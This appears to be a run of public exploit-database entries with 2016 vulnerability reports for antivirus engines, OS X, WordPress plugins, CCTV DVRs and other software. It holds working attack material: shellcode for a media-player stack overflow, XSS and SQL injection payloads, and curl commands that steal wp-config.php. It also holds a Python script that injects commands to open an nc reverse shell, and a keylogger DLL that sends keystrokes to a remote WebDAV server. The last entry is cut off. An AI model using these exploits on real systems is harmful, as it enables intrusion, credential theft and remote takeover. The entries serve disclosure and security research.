One of the things you might expect an Antivirus engine to do reliably is parse PE files. However, after some simple testing with Avira, I found a heap underflow (that is, writing *before* a heap allocation) parsing section headers. If a section header has a very large relative virtual address, Avira will wrap calculating the offset into a heap buffer, and write attacker controlled data to it (the data from section->PointerToRawData in the input file).

The code is doing something like:

if (Section->SizeOfRawData + Section->VirtualAddress < 8192) {
    buf = malloc(8192);

    memcpy(buf + Section->VirtualAddress, input + Section->PointerToRawData, Section->SizeOfRawData);
}


The bug is that you need to check if Section->VirtualAddress + Section->SizeOfRawData wraps. This vulnerability is obviously exploitable for remote code execution as NT AUTHORITY\SYSTEM.

To reproduce this bug, create an executable with a section like this:

  NAME          RVA      VSZ   RAW_SZ  RAW_PTR  nREL  REL_PTR nLINE LINE_PTR     FLAGS
  .text    ff003fff     1fff     1fff      200     0        0     0        0         0  ---

With Page heap enabled, this should crash reliably trying to memcpy the data from section.PointerToRawData

(e58.2b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000041 ebx=00000000 ecx=000007f7 edx=00000002 esi=35785219 edi=41294000
eip=7291545c esp=41bedaf0 ebp=41bedaf8 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
aecore!ave_proc+0x1fc2c:
7291545c f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:011> db esi
35785219  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
35785229  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
35785239  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
35785249  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
35785259  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
35785269  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
35785279  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
35785289  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

I think it started writing to ptr - 8192, lets see what's there:

0:011> db edi - (0n8192 - (ecx * 4)) 
41293fdc  00 00 00 41 41 41 41 41-41 41 41 41 41 41 41 41  ...AAAAAAAAAAAAA
41293fec  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41293ffc  41 41 41 41 ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  AAAA????????????
4129400c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
4129401c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
4129402c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
4129403c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
4129404c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

Yes! 

Without page heap, you should get heap corruption, probably writing to 0x41414141.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39600.zip
            
# Exploit Title: Netlify CMS 2.10.192 - Stored Cross-Site Scripting (XSS)
# Exploit Author: tmrswrr
# Vendor Homepage: https://decapcms.org/docs/intro/
# Software Link: https://github.com/decaporg/decap-cms
# Version: 2.10.192
# Tested on: https://cms-demo.netlify.com


Description:

1. Go to new post and write body field your payload:

https://cms-demo.netlify.com/#/collections/posts

Payload = <iframe src=java&Tab;sc&Tab;ript:al&Tab;ert()></iframe>

2. After save it XSS payload will executed and see alert box
            
# Exploit Title: Arbitrary file download in Memphis Document Library 3.1.5
# Google Dork: inurl:"mdocs-posts" -site:wordpress.org
# Date: 22/03/2016
# Exploit Author: Felipe Molina (@felmoltor)
# Vendor Homepage: https://wordpress.org
# Software Link: https://downloads.wordpress.org/plugin/memphis-documents-library.3.1.5.zip
# Version: 3.1.5 (Vulnerable from 2.3 to 3.1.5, fixed in 3.1.6)
# Tested on: Ubuntu 12.04, Wordpress 4.4.2.
# CVE : N/A
# Vulnerable file: memphis-documents-library/mdocs-downloads.php
# Vulnerable function: mdocs_img_preview()
# Vulnerable GET parameter: Injectable 'mdocs-img-preview'
# Vulnerable line: 90 to 93
# Vulnerable code:

87 function mdocs_img_preview() {
88 require_once(ABSPATH . 'wp-includes/pluggable.php');
89 $upload_dir = wp_upload_dir();
90 $image = $upload_dir['basedir'].MDOCS_DIR.$_GET['mdocs-img-preview'];
91 $content = file_get_contents($image);
92 header('Content-Type: image/jpeg');
93 echo $content; exit();
94 }

# POC:

curl http://example.site.com/?mdocs-img-preview=../../../wp-config.php
-o example-wp-config.php

or if the plugin is not installed in the root folder of wordpress, for
example in the folder "mdocs-posts":

curl http://example.site.com/mdocs-posts/?mdocs-img-preview=../../../wp-config.php
-o example-wp-config.php
            
# Exploit Title: CoolPlayer (Standalone) build 2.19 - .m3u Stack Overflow
# Date: 22-03-2016
# Software Link: https://sourceforge.net/projects/coolplayer/files/Coolplayer/219/CoolPlayer219_Bin.zip
# Exploit Author: Charley Celice (stmerry)
# Contact: https://twitter.com/charleycelice
#
# Credits: Yet another exploit code for Coolplayer (Standalone). Slightly modified version. 
# * https://www.exploit-db.com/search/?action=search&description=coolplayer
#
# Category: Exploits
# Tested on: Windows XP SP3 EN
# Details: Stack overflow. Overwrite the EIP and point to ESP (iertutil.dll) to execute shellcode (calc.exe)

my $file= "exploit.m3u";
my $junk= "\x41" x 248;
my $eip= "\x97\x51\x08\x3e"; # jmp esp - iertutil.dll
my $nops = "\x90" x 10;

# shellcode (XP SP3 calc.exe)
my $shell = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" . 
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
 
open($FILE,">$file");
print $FILE $junk.$eip.$nops.$shell;
close($FILE);
print "done\n";
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=676

tl;dr
The code responsible for loading a suid-binary following a call to the execve syscall invalidates
the task port after first swapping the new vm_map into the old task object leaving a short race window
where we can manipulate the memory of the euid(0) process before the old task port is destroyed.

******************

__mac_execve calls exec_activate_image which calls exec_mach_imgact via the image activator table execsw.

If we were called from a regular execve (not after a vfork or via posix_spawn) then this calls load_machfile
with a NULL map argument indicating to load_machfile that it should create a new vm_map for this process:

  if (new_map == VM_MAP_NULL) {
    create_map = TRUE;
    old_task = current_task();
  }

it then creates a new pmap and wraps that in a vm_map, but doesn't yet assign it to the task:

    pmap = pmap_create(get_task_ledger(ledger_task),
           (vm_map_size_t) 0,
           ((imgp->ip_flags & IMGPF_IS_64BIT) != 0));
    pal_switch_pmap(thread, pmap, imgp->ip_flags & IMGPF_IS_64BIT);
    map = vm_map_create(pmap,
        0,
        vm_compute_max_offset(((imgp->ip_flags & IMGPF_IS_64BIT) == IMGPF_IS_64BIT)),
        TRUE)

the code then goes ahead and does the actual load of the binary into that vm_map:

  lret = parse_machfile(vp, map, thread, header, file_offset, macho_size,
                        0, (int64_t)aslr_offset, (int64_t)dyld_aslr_offset, result);

if the load was successful then that new map will we swapped with the task's current map so that the task now has the
vm for the new binary:

    old_map = swap_task_map(old_task, thread, map, !spawn);

    vm_map_t
    swap_task_map(task_t task, thread_t thread, vm_map_t map, boolean_t doswitch)
    {
      vm_map_t old_map;

      if (task != thread->task)
        panic("swap_task_map");

      task_lock(task);
      mp_disable_preemption();
      old_map = task->map;
      thread->map = task->map = map;

we then return from load_machfile back to exec_mach_imgact:

  lret = load_machfile(imgp, mach_header, thread, map, &load_result);

  if (lret != LOAD_SUCCESS) {
    error = load_return_to_errno(lret);
    goto badtoolate;
  }
  
  ...

  error = exec_handle_sugid(imgp);

after dealing with stuff like CLOEXEC fds we call exec_handle_sugid.
If this is indeed an exec of a suid binary then we reach here before actually setting
the euid:

       * Have mach reset the task and thread ports.
       * We don't want anyone who had the ports before
       * a setuid exec to be able to access/control the
       * task/thread after.
      ipc_task_reset(p->task);
      ipc_thread_reset((imgp->ip_new_thread != NULL) ?
           imgp->ip_new_thread : current_thread());

As this comment points out, it probably is quite a good idea to reset the thread, task and exception ports, and
that's exactly what they do:

  ...
  ipc_port_dealloc_kernel(old_kport);
  etc for the ports
  ...


The problem is that between the call to swap_task_map and ipc_port_dealloc_kernel the old task port is still valid, even though the task isn't running.
This means that we can use the mach_vm_* API's to manipulate the task's new vm_map in the interval between those two calls. This window is long enough
for us to easily find the load address of the suid-root binary, change its page protections and overwrite its code with shellcode.

This PoC demonstrates this issue by targetting the /usr/sbin/traceroute6 binary which is suid-root. Everything is tested on OS X El Capitan 10.11.2.

In our parent process we register a port with launchd and fork a child. This child sends us back its task port, and once we ack that we've got
its task port it execve's the suid-root binary.

In the parent process we use mach_vm_region to work out when the task's map gets switched, which also convieniently tells us the target binary's load
address. We then mach_vm_protect the page containing the binary entrypoint to be rwx and use mach_vm_write to overwrite it with some shellcode which
execve's /bin/zsh (because bash drops privs) try running id in the shell and note your euid.

Everything is quite hardcoded for the exact version of traceroute6 on 10.11.2 but it would be easy to make this into a very universal priv-esc :)

Note that the race window is still quite tight so you may have to try a few times.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39595.zip
            
================
Exploit Title: SQL Injection Vulnerability in MiCollab v7.0
Date: 3-22-2016
Vendor Homepage: http://www.mitel.com
Vendor: Mitel
Software: MiCollab End User Portal
Version: v7.0 
Advisory: http://www.mitel.com/security-advisories/mitel-product-security-advisory-16-0001
CVSS: 7.5


Product Summary
================
Mitel MiCollab delivers unified messaging, mobility, teleworking, and audio, web and video conferencing services tailored to the needs of today's mobile workforce. (http://www.mitel.com/products/collaboration-software/mitel-micollab)


Vulnerabilities
================
A SQL injection vulnerability has been identified in MiCollab 7.0 which, if successfully exploited, could allow an attacker to access sensitive information in the MiCollab database. (http://www.mitel.com/security-advisories/mitel-product-security-advisory-16-0001)

The vulnerability is due to the unsanitized 'language' parameter in the 'mywindow' and 'PortletSelector' scripts.

 
Proof of concept
================
http://server/portal/portal/portal/portal/mywindow?portlets=&page=org.apache.jetspeed.om.page.impl.ContentPageImpl%40d57dde06&language=en_US';SELECT%20pg_sleep(5);--
http://server/portal/portal/portal/PortletSelector?portlets=&page=org.apache.jetspeed.om.page.impl.ContentPageImpl%40d57dde06&language=en_US';SELECT%20pg_sleep(5);--


Timeline
================
2016-02-01: Vendor advisory published
2016-03-22: PoC details published


Discovered by
================
Goran Tuzovic -- Goran [at] illumant.com


References
================
1. http://www.mitel.com/products/collaboration-software/mitel-micollab
2. http://www.mitel.com/security-advisories/mitel-product-security-advisory-16-0001


About Illumant
================
Illumant has conducted thousands of security assessment and compliance engagements, helping over 800 clients protect themselves from cyber-attacks.  Through meticulous manual analysis, Illumant helps companies navigate the security and threat landscape to become more secure, less of a target, and more compliant.  For more information, visit https://illumant.com/
            
#!/usr/bin/python

# Blog post: http://www.kerneronsec.com/2016/02/remote-code-execution-in-cctv-dvrs-of.html

'''
Vendors List

Ademco
ATS Alarmes technolgy and ststems
Area1Protection
Avio
Black Hawk Security
Capture
China security systems
Cocktail Service
Cpsecured
CP PLUS
Digital Eye'z no website
Diote Service & Consulting
DVR Kapta
ELVOX 
ET Vision 
Extra Eye 4 U
eyemotion 
EDS 
Fujitron 
Full HD 1080p
Gazer 
Goldeye 
Goldmaster
Grizzly 
HD IViewer
Hi-View 
Ipcom
IPOX 
IR
ISC Illinois Security Cameras, Inc.
JFL Alarmes 
Lince 
LOT
Lux 
Lynx Security 
Magtec 
Meriva Security 
Multistar 
Navaio
NoVus 
Optivision 
PARA Vision
Provision-ISR 
Q-See 
Questek 
Retail Solution Inc
RIT Huston .com 
ROD Security cameras 
Satvision 
Sav Technology
Skilleye 
Smarteye 
Superior Electrial Systems
TechShell 
TechSon
Technomate 
TecVoz 
TeleEye 
Tomura
truVue
TVT 
Umbrella 
United Video Security System, Inc
Universal IT Solutions
US IT Express
U-Spy Store
Ventetian 
V-Gurad Security
Vid8 
Vtek
Vision Line
Visar
Vodotech.com 
Vook 
Watchman 
Xrplus 
Yansi 
Zetec
ZoomX
'''

from sys import argv
import optparse
from urlparse import urlparse
from re import compile
import socket
import requests
from requests.exceptions import ConnectionError, Timeout, ContentDecodingError
from socket import timeout




def main():

    # parse command line options and atguments
    optparser = optparse.OptionParser(usage="%s <target-url> [options]" % argv[0])
    optparser.add_option('-c','--check',action="store_true",dest="checkvuln", default=False,
                         help="Check if target is vulnerable")
    optparser.add_option('-e','--exploit', action="store", type="string", dest="connback",
                         help="Fire the exploit against the given target URL")

    (options, args) = optparser.parse_args()

    try:
        target = args[0]
    except IndexError:
        optparser.print_help()
        exit()

    target_url = urlparse(target)

    # validating hostname
    if not target_url.hostname:
        print "[X] supplied target \"%s\" is not a valid URL" % target
        optparser.print_help()
        exit()

    # A little hack to handle read timeouts, since urllib2 doesnt give us this functionality.
    socket.setdefaulttimeout(10)

    # is -c flag on check if target url is vulnrable.
    if options.checkvuln is True:
        print "[!] Checking if target \"%s\" is vulnable..." % target_url.netloc
        try:

            # Write file
            raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}1>test&&tar${IFS}/string.js'
                         % (target_url.scheme, target_url.netloc))

            # Read the file.
            response = raw_url_request('%s://%s/../../../../../../../mnt/mtd/test' % (target_url.scheme, target_url.netloc))


            # remove it..
            raw_url_request('%s://%s//language/Swedish${IFS}&&rm${IFS}test&&tar${IFS}/string.js'
                         % (target_url.scheme, target_url.netloc))

        except (ConnectionError, Timeout, timeout) as e:
            print "[X] Unable to connect. reason: %s.  exiting..." % e.message
            return
        if response.text[0] != '1': 
            print "[X] Expected response content first char to be '1' got %s. exiting..." % response.text
            return

        print "[V] Target \"%s\" is vulnerable!" % target_url.netloc



    # if -e is on then fire exploit,
    if options.connback is not None:

        # Validate connect-back information.
        pattern = compile('(?P<host>[a-zA-Z0-9\.\-]+):(?P<port>[0-9]+)')
        match = pattern.search(options.connback)
        if not match:
            print "[X] given connect back \"%s\" should be in the format for host:port" % options.connback
            optparser.print_help()
            exit()

        # fire remote code execution!

        # Three ..
        try:
            raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}nc${IFS}%s${IFS}%s${IFS}>e&&${IFS}/a'
                        % (target_url.scheme, target_url.netloc, match.group('host'), match.group('port')))

        # Two ...

            raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}"-e${IFS}$SHELL${IFS}">>e&&${IFS}/a'
                         % (target_url.scheme, target_url.netloc))


        # One. Left off!
            raw_url_request('%s://%s/language/Swedish&&$(cat${IFS}e)${IFS}&>r&&${IFS}/s'
                         % (target_url.scheme, target_url.netloc))

        except (ConnectionError, Timeout, timeout) as e:
            print "[X] Unable to connect reason: %s.  exiting..." % e.message



        print "[V] Exploit payload sent!, if nothing went wrong we should be getting a reversed remote shell at %s:%s" \
              % (match.group('host'), match.group('port'))


# Disabling URL encode hack
def raw_url_request(url):
    r = requests.Request('GET')
    r.url = url
    r = r.prepare()
    # set url without encoding
    r.url = url

    s = requests.Session()
    return s.send(r)



if __name__ == '__main__':
    main()
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=769

Comodo Antivirus includes a x86 emulator that is used to unpack and monitor obfuscated executables, this is common practice among antivirus products. The idea is that emulators can run the code safely for a short time, giving the sample enough time to unpack itself or do something that can be profiled. Needless to say, this is a very significant and complicated attack surface, as an attacker can trigger emulation simply by sending the victim an email or getting them to visit a website with zero user interaction.

I've found some memory corruption issues with the emulator, but Comodo also implement hundreds of shims for Win32 API calls, so that things like CreateFile, LoadLibrary, and so on appear to work to the emulated code. Astonishingly, some of these shims simply extract the parameters from the emulated address space and pass them directly to the real API, while running as NT AUTHORITY\SYSTEM. The results are then poked back in to the emulator, and the code continues.

The possible attacks here are too numerous to mention.

Here are some of the more obvious mistakes, let's start with USER32!GetKeyState (wtf!!!!). Here is the emulator shim from mach32.dll:

.text:1001D9A0                sub_1001D9A0    proc near               ; DATA XREF: .data:1016B10C31o
.text:1001D9A0
.text:1001D9A0                arg_0           = dword ptr  8
.text:1001D9A0
.text:1001D9A0 55                             push    ebp
.text:1001D9A1 8B EC                          mov     ebp, esp
.text:1001D9A3 8B 45 08                       mov     eax, [ebp+arg_0]  ; pVMClass
.text:1001D9A6 8B 08                          mov     ecx, [eax]        ; vtbl
.text:1001D9A8 8B 91 98 00 00+                mov     edx, [ecx+98h]    ; VArg2Rarg
.text:1001D9AE 6A 00                          push    0
.text:1001D9B0 6A 06                          push    6                 ; TypeDword
.text:1001D9B2 6A 01                          push    1                 ; ParamNum
.text:1001D9B4 50                             push    eax               ; this
.text:1001D9B5 FF D2                          call    edx               ; VArg2Rarg(pVMClass, 1, TypeDword, 0); Virtual Arg to Real Arg
.text:1001D9B7 50                             push    eax             ; nVirtKey
.text:1001D9B8 FF 15 F4 62 07+                call    ds:GetKeyState    ; Extract parameter from emulator, then return the real value (!!!)
.text:1001D9BE 98                             cwde
.text:1001D9BF 5D                             pop     ebp
.text:1001D9C0 C3                             retn
.text:1001D9C0                sub_1001D9A0    endp


The emulated code can query the real keyboard state (!!!).

I've found that the simplest method of triggering the emulation is to create a DLL with a writable text section. An attacker would also need a way to exfiltrate the monitored keystrokes out of the emulator, but I've found that the shim for kernel32!SetCurrentDirectoryA actually calls GetFileAttributes() on the specified parameter, so you can encode it as a UNC path and send it over the network to your control server. This doesn't require any user interaction.

To reproduce this bug, first, create a DLL like this:

#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "KERNEL32")
#pragma comment(lib, "USER32")

// This is required to trigger the generic unpacker in comodo.
#pragma comment(linker, "/SECTION:.text,ERW")

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    char path[128];
    char *ptr;

    ZeroMemory(path, sizeof path);

    ptr  = strcpy(path, "\\\\?\\UNC\\192.168.237.1\\");
    ptr += strlen(ptr);

    SetCurrentDirectory(path);

    for (;;) {
        for (*ptr = 'A'; *ptr <= 'Z'; (*ptr)++) {
            if (GetKeyState(*ptr) & 0x8000) {
                SetCurrentDirectory(path);
            }
        }
    }

    return TRUE;
}

Then run a minimal WebDAV server like this on the remote host:

#!/usr/bin/env python
import SimpleHTTPServer
import SocketServer

class WebDavHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
    def do_OPTIONS(self):
        self.send_response(200)
        self.send_header('Allow', 'OPTIONS, GET, PROPFIND')
        self.send_header('DAV', '1, 2')
        self.end_headers()
        self.connection.shutdown(1)

    def do_PROPFIND(self):
        self.send_response(207)
        self.send_header('Content-type', 'text/xml')
        self.end_headers()
        self.wfile.write('<?xml version="1.0"?><a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:"><a:response></a:response></a:multistatus>')
        self.connection.shutdown(1)


SocketServer.TCPServer(('0.0.0.0', 80), WebDavHandler).serve_forever()

You only get a few seconds of logging per scan, but you can duplicate the payload thousands of times into a ZIP archive for effectively unlimited scan time. Something like this:

$ for ((i=0;i<1024;i++)); do cp keystroke.dll $i.dll; zip keystroke.zip $i.dll; rm -f $i.dll; done

Now scanning that zip file will send all keystrokes to the WebDAV server for approximately ten or so minutes (please note, there's no reason this can't be extended indefinitely), see screenshot for reference.

This is not the only attack possible, you can also extract, delete, query and use cryptographic keys, smartcards and other security hardware, because calls to CAPI routines like are all passed directly through to the real API:

ADVAPI32!CryptAcquireContextA
ADVAPI32!CryptDecrypt
ADVAPI32!CryptDeriveKey
ADVAPI32!CryptCreateHash .. and so on.

Any secrets stored in the registry are also exposed to attackers via RegQueryValueEx and GetProfileInt among others, all passed directly through to the real API. The list of possible attacks here is simply too long to enumerate, any competent developer can see this is a colossal mistake that needs to be remedied urgently.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39599.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=762

In COleMemFile::LoadDiFatList, values from the header are used to parse the document FAT. If header.csectDif is very high, the calculation overflows and a very small buffer is allocated.

The document FAT is then memcpy'd onto the buffer directly from the input file being scanned, resulting in a nice clean heap overflow.

This vulnerability is obviously exploitable for remote code execution as NT AUTHORITY\SYSTEM, the attached test cases should reproduce the problem reliably (this issue was found using trivial fuzzing). You can see this testcase has this->m_oleDocHeader.csectDif = 0x40000001, and so this->m_oleDocHeader.csectDif * this->diFATPerSect * 4 + 436 wraps to 0x3b0.

(b80.ad8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
script!CreateInstance+0x178ac:
00000000`0ac5a4bc 8901            mov     dword ptr [rcx],eax ds:00000000`0c79a1f0=????????
0:009> u
script!CreateInstance+0x178ac:
00000000`0ac5a4bc 8901            mov     dword ptr [rcx],eax
00000000`0ac5a4be 4d8bc8          mov     r9,r8
00000000`0ac5a4c1 49c1e905        shr     r9,5
00000000`0ac5a4c5 7550            jne     script!CreateInstance+0x17907 (00000000`0ac5a517)
00000000`0ac5a4c7 4d8bc8          mov     r9,r8
00000000`0ac5a4ca 49c1e903        shr     r9,3
00000000`0ac5a4ce 7414            je      script!CreateInstance+0x178d4 (00000000`0ac5a4e4)
00000000`0ac5a4d0 4883e908        sub     rcx,8
0:009> r
rax=00000000004e8400 rbx=000000000c782120 rcx=000000000c79a1f0
rdx=fffffffffffe99f8 rsi=000000000c7839f0 rdi=0000000000000017
rip=000000000ac5a4bc rsp=000000000d80e4b8 rbp=0000000000000bd6
 r8=00000000000001f8  r9=0000000000000000 r10=00000006ffffffff
r11=000000000c799ff8 r12=00000000000138a1 r13=000000000aea0000
r14=0000000000000000 r15=0000000000336b00
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
script!CreateInstance+0x178ac:
00000000`0ac5a4bc 8901            mov     dword ptr [rcx],eax ds:00000000`0c79a1f0=????????


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39603.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=737

Lzx_Decoder::init() initializes the vector Lzx_Decoder->window to a fixed size of 2^method bytes, which is then used during Lzx_Decoder::Extract(). It's possible for LZX compressed streams to exceed this size. Writes to the window buffer are bounds checked, but only after the write is completed.

The code is probably something like:

window[++window_pos] = foo;
if (window_pos > window.size())
 return false;

This means the overflow still occurs, resulting in memory corruption, and can be corrupted multiple times per stream as a single scan can contain multiple LZX compressed blobs. Scanning the attached testcase with page heap enabled results in the following error:

(918.644): Unknown exception - code 000006ba (first chance)
===========================================================
VERIFIER STOP 000000000000000F: pid 0x918: corrupted suffix pattern 

	0000000040C71000 : Heap handle
	0000000040F76FE0 : Heap block
	0000000000010018 : Block size
	0000000040F86FF8 : corruption address
===========================================================
> lmv munarch
start             end                 module name
000007fe`f44c0000 000007fe`f4562000   unarch     (export symbols)       C:\Program Files\COMODO\COMODO Internet Security\scanners\unarch.cav
    Loaded symbol image file: C:\Program Files\COMODO\COMODO Internet Security\scanners\unarch.cav
    Image path: C:\Program Files\COMODO\COMODO Internet Security\scanners\unarch.cav
    Image name: unarch.cav
    Timestamp:        Mon Dec 29 04:52:14 2014 (54A14E7E)
    CheckSum:         000AC529
    ImageSize:        000A2000
    File version:     6.2.15068.1057
    Product version:  6.2.15068.1057
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        1.0 App
    File date:        00000000.00000000
    Translations:     0409.04e4
    CompanyName:      COMODO
    ProductName:      COMODO Antivirus Scan Engine
    ProductVersion:   6, 2, 342748, 1057
    FileVersion:      6, 2, 342748, 1057
    FileDescription:  COMODO Antivirus Scan Engine
    LegalCopyright:   2005-2014 COMODO. All rights reserved.


Please note that many of the CAV modules used by Comodo do not use dynamic base, so ASLR does not work. Naturally, all files are scanned with NT AUTHORITY\SYSTEM and with no sandboxing.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39606.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=738

A major component of Comodo Antivirus is the x86 emulator, which includes a number of shims for win32 API routines so that common API calls work in emulated programs (CreateFile, LoadLibrary, etc). The emulator itself is located in MACH32.DLL, which is compiled without /DYNAMICBASE, and runs as NT AUTHORITY\SYSTEM.

These API routines access memory from the emulated virtual machine, perform the requested operation, and then poke the result back into the emulator. Because these emulated routines are all native code, they must take care not to trust values extracted from the emulator, which is running attacker controlled code.

Browsing through the list of emulated routines, MSVBVM60!rtcLowerCaseVar jumped out as an obvious case of integer overflow due to trusting attacker-provided parameters.

The code attempts to extract a VT_BSTR VARIANT, which contains a pascal-like string, something like:

struct BSTR {
 DWORD Length;
 CHAR Data[0];
};

In pseudocode, the code does something like this:

vm->ReadMemory(Parameter1); // PVARIANT
vm->ReadMemory(Parameter2); // PVARIANT

vm->GetData(&LocalVariant, Parameter2); // Read the second VARIANT

if (LocalVariant.vt !== VT_BSTR)  // Verify it's a BSTR
 return false;

vm->GetData(&szLen, LocalVariant.bstr - 4); // Try to read the Length of the BSTR


The code attempts to convert this BSTR into a nul-terminated wide string. This requires 2 additional bytes (for the terminator), so providing a length of 0xFFFFFFFF will cause the allocation to wrap.

Buf = malloc(szLen + 2); // Allocate space for the string
vm->GetWideString(Buf, Ptr, szLen >> 1); // Read Length/2 WCHARs


This will read Length/2 WCHAR's from the hostile virtual machine and clobber the trusted heap buffer. The corruption can be halted early by placing the BSTR before an unmapped page boundary, resulting in a nice clean heap overflow.

The scan process which runs as NT AUTHORITY\SYSTEM and does not use ASLR, making this a critical remote memory corruption that can be exploited via email, http, etc with zero user interaction.

(e38.2c0): Access violation - code c0000005 (!!! second chance !!!)
00000000`0ec6b5c6 0fb70408        movzx   eax,word ptr [rax+rcx] ds:00000000`4e6d1567=????
0:009> r
rax=000000004e6d0002 rbx=0000000000000100 rcx=0000000000001565
rdx=000000005b0ce400 rsi=00000000000000c3 rdi=000000005b0ce510
rip=000000000ec6b5c6 rsp=000000005b0ce3f0 rbp=0000000000006e58
 r8=000000005b0ce460  r9=000000004e6d0005 r10=00000000000000e8
r11=00000000000000e8 r12=00000000000000f7 r13=000000004e6bfe1c
r14=0000000000014b08 r15=0000000000000100
iopl=0         nv up ei pl nz ac pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010210
00000000`0ec6b5c6 0fb70408        movzx   eax,word ptr [rax+rcx] ds:00000000`4e6d1567=????
0:009> lmv mmach32
start             end                 module name
00000000`17410000 00000000`17658000   mach32     (deferred)             
    Image path: C:\Program Files\COMODO\COMODO Internet Security\scanners\mach32.dll
    Image name: mach32.dll
    Timestamp:        Mon Dec 29 04:57:44 2014 (54A14FC8)
    CheckSum:         00244AF0
    ImageSize:        00248000
    File version:     6.2.15068.1057
    Product version:  6.2.15068.1057
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        1.0 App
    File date:        00000000.00000000
    Translations:     0409.04e4
    CompanyName:      COMODO
    ProductName:      COMODO Antivirus Scan Engine
    ProductVersion:   6, 2, 342748, 1057
    FileVersion:      6, 2, 342748, 1057
    FileDescription:  COMODO Antivirus Scan Engine
    LegalCopyright:   2005-2014 COMODO. All rights reserved.

I think the same bug exists in rtcSpaceBstr, rtcSpaceVar, rtcUpperCaseBstr, rtcUpperCaseVar, and maybe a few more.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39605.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=750

The following crash due to a static memory out-of-bounds write can be observed in an ASAN build of Wireshark (current git master), by feeding a malformed file to tshark ("$ ./tshark -nVxr /path/to/file"):

--- cut ---
==28209==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7fde2f36bfc4 at pc 0x7fde25b1332c bp 0x7fffe48bc670 sp 0x7fffe48bc668
WRITE of size 4 at 0x7fde2f36bfc4 thread T0
    #0 0x7fde25b1332b in dissect_ber_integer epan/dissectors/packet-ber.c:2001:16
    #1 0x7fde27f46621 in dissect_kerberos_ADDR_TYPE epan/dissectors/../../asn1/kerberos/kerberos.cnf:351:12
    #2 0x7fde25b1959a in dissect_ber_sequence epan/dissectors/packet-ber.c:2415:17
